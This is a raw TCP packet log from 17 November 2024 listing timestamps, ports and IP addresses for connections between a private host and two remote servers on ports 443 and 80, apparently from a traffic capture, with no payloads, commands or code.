Nov 17, 2024 22:20:20.135870934 CET	443	49705	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:20.135934114 CET	49705	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:20.135945082 CET	443	49705	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:20.135982037 CET	49705	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:20.136023045 CET	443	49705	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:20.136075020 CET	443	49705	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:20.136110067 CET	49705	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:20.136174917 CET	49705	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:20.136182070 CET	443	49705	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:20.136189938 CET	49705	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:20.136193991 CET	443	49705	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:20.139096022 CET	49714	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:20.139118910 CET	443	49714	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:20.139177084 CET	49714	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:20.139291048 CET	49714	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:20.139303923 CET	443	49714	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:20.139645100 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:20.415570974 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:20.415648937 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:20.433201075 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:20.433259010 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:20.438025951 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:20.438216925 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:20.438246965 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:20.438275099 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:20.438303947 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:20.438338041 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:20.848727942 CET	443	49710	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:20.849505901 CET	49710	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:20.849570036 CET	443	49710	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:20.849989891 CET	49710	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:20.850007057 CET	443	49710	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:20.856023073 CET	443	49712	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:20.856379032 CET	49712	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:20.856400013 CET	443	49712	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:20.856522083 CET	443	49711	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:20.856934071 CET	49712	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:20.856939077 CET	443	49712	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:20.856976032 CET	49711	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:20.857002974 CET	443	49711	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:20.857384920 CET	49711	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:20.857394934 CET	443	49711	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:20.864022017 CET	443	49713	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:20.864337921 CET	49713	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:20.864371061 CET	443	49713	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:20.864664078 CET	49713	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:20.864670992 CET	443	49713	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:20.880541086 CET	443	49714	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:20.880820990 CET	49714	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:20.880847931 CET	443	49714	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:20.881202936 CET	49714	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:20.881206989 CET	443	49714	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:20.977016926 CET	443	49710	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:20.977092028 CET	443	49710	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:20.977157116 CET	49710	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:20.977258921 CET	49710	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:20.977307081 CET	443	49710	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:20.977336884 CET	49710	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:20.977353096 CET	443	49710	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:20.983963966 CET	49715	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:20.984066010 CET	443	49715	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:20.984162092 CET	49715	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:20.985218048 CET	49715	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:20.985254049 CET	443	49715	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:20.987668037 CET	443	49712	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:20.987798929 CET	443	49712	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:20.987858057 CET	49712	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:20.988338947 CET	443	49711	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:20.988466024 CET	443	49711	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:20.988508940 CET	49711	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:20.992523909 CET	49712	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:20.992537975 CET	443	49712	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:20.992562056 CET	49712	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:20.992567062 CET	443	49712	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:20.992716074 CET	49711	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:20.992734909 CET	443	49711	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:20.992750883 CET	49711	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:20.992758036 CET	443	49711	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:20.993217945 CET	443	49713	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:20.993360043 CET	443	49713	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:20.993417978 CET	49713	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:20.993470907 CET	49713	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:20.993496895 CET	443	49713	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:20.993539095 CET	49713	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:20.993552923 CET	443	49713	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:20.996436119 CET	49716	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:20.996462107 CET	443	49716	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:20.996517897 CET	49716	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:20.996946096 CET	49717	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:20.996993065 CET	443	49717	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:20.997045040 CET	49717	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:20.997478962 CET	49718	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:20.997492075 CET	443	49718	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:20.997543097 CET	49718	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:20.997618914 CET	49716	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:20.997632027 CET	443	49716	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:20.997709036 CET	49718	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:20.997723103 CET	443	49718	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:20.997797966 CET	49717	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:20.997812986 CET	443	49717	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:21.012377977 CET	443	49714	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:21.012526035 CET	443	49714	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:21.012572050 CET	49714	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:21.012669086 CET	49714	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:21.012672901 CET	443	49714	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:21.012681961 CET	49714	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:21.012686014 CET	443	49714	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:21.026125908 CET	49719	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:21.026176929 CET	443	49719	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:21.026249886 CET	49719	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:21.026521921 CET	49719	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:21.026556969 CET	443	49719	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:21.234566927 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:21.234652996 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:21.608580112 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:21.614331961 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:21.731086016 CET	443	49715	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:21.731693029 CET	49715	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:21.731782913 CET	443	49715	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:21.731982946 CET	49715	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:21.732006073 CET	443	49715	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:21.737463951 CET	443	49718	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:21.737785101 CET	49718	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:21.737884045 CET	443	49718	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:21.738281012 CET	49718	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:21.738296032 CET	443	49718	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:21.740046024 CET	443	49716	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:21.740379095 CET	49716	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:21.740396023 CET	443	49716	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:21.740735054 CET	49716	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:21.740746021 CET	443	49716	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:21.741359949 CET	443	49717	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:21.746560097 CET	49717	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:21.746633053 CET	443	49717	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:21.753796101 CET	49717	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:21.753810883 CET	443	49717	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:21.776247978 CET	443	49719	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:21.776860952 CET	49719	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:21.776896954 CET	443	49719	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:21.777184010 CET	49719	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:21.777195930 CET	443	49719	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:21.862195015 CET	443	49715	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:21.862297058 CET	443	49715	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:21.862375975 CET	49715	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:21.871356964 CET	443	49718	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:21.871501923 CET	443	49718	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:21.871552944 CET	49718	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:21.872124910 CET	443	49716	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:21.872910976 CET	443	49716	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:21.872962952 CET	49716	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:21.881360054 CET	443	49717	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:21.881532907 CET	443	49717	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:21.881596088 CET	49717	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:21.884835005 CET	49715	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:21.884881973 CET	443	49715	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:21.888431072 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:21.888446093 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:21.888503075 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:21.888503075 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:21.888556004 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:21.888569117 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:21.888582945 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:21.888673067 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:21.888962984 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:21.888976097 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:21.888987064 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:21.889019966 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:21.889045954 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:21.889403105 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:21.889420033 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:21.889432907 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:21.889444113 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:21.889460087 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:21.889461040 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:21.889496088 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:21.889497042 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:21.889997005 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:21.890053988 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:21.890078068 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:21.890122890 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:21.912125111 CET	443	49719	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:21.912669897 CET	443	49719	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:21.912727118 CET	49719	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:22.045089960 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.045115948 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.045129061 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.045140982 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.045151949 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.045355082 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.045355082 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.045460939 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.045476913 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.045526028 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.045551062 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.045598984 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.045753002 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.045764923 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.045774937 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.045808077 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.045808077 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.045819998 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.045830965 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.045833111 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.045844078 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.045876026 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.045876026 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.045912027 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.096540928 CET	49719	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:22.096541882 CET	49719	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:22.096621037 CET	443	49719	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:22.096657038 CET	443	49719	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:22.097605944 CET	49718	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:22.097605944 CET	49718	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:22.097641945 CET	443	49718	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:22.097668886 CET	443	49718	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:22.098694086 CET	49716	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:22.098711967 CET	443	49716	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:22.098735094 CET	49716	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:22.098747015 CET	443	49716	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:22.102006912 CET	49717	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:22.102031946 CET	443	49717	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:22.102147102 CET	49717	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:22.102164030 CET	443	49717	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:22.131984949 CET	49720	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:22.132040977 CET	443	49720	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:22.132105112 CET	49720	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:22.133351088 CET	49720	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:22.133367062 CET	443	49720	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:22.145663023 CET	49721	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:22.145701885 CET	443	49721	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:22.145755053 CET	49721	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:22.148277044 CET	49721	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:22.148291111 CET	443	49721	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:22.149281025 CET	49722	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:22.149313927 CET	443	49722	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:22.149369955 CET	49722	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:22.149493933 CET	49722	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:22.149506092 CET	443	49722	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:22.150681019 CET	49723	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:22.150707960 CET	443	49723	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:22.150759935 CET	49723	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:22.151094913 CET	49723	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:22.151104927 CET	443	49723	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:22.151119947 CET	49724	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:22.151143074 CET	443	49724	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:22.151218891 CET	49724	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:22.151341915 CET	49724	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:22.151350975 CET	443	49724	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:22.162683010 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.162708998 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.162719965 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.162763119 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.162775040 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.162775040 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.162775040 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.162787914 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.162866116 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.162867069 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.162974119 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.163024902 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.163033962 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.163047075 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.163060904 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.163074017 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.163084030 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.163110971 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.163141966 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.201427937 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.201455116 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.201464891 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.201477051 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.201493979 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.201533079 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.279422045 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.279443026 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.279457092 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.279469967 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.279479980 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.279484034 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.279498100 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.279503107 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.279539108 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.279699087 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.279736996 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.279759884 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.279771090 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.279798031 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.280051947 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.280097008 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.280107021 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.280141115 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.319010973 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.319024086 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.319034100 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.319055080 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.319063902 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.319072008 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.319099903 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.319184065 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.395554066 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.395606995 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.395661116 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.395661116 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.395694971 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.395724058 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.395749092 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.395775080 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.395850897 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.395905018 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.395934105 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.395946980 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.395993948 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.396182060 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.396234035 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.396255970 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.396295071 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.396413088 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.396423101 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.396469116 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.396641016 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.396661043 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.396697044 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.396709919 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.396728992 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.396753073 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.435637951 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.435652971 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.435663939 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.435676098 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.435688019 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.435854912 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.435856104 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.512337923 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.512415886 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.512432098 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.512444019 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.512454033 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.512466908 CET	80	49704	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:22.512490034 CET	49704	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:22.512516975 CET	49704	80	192.168.2.7	185.215.113.206
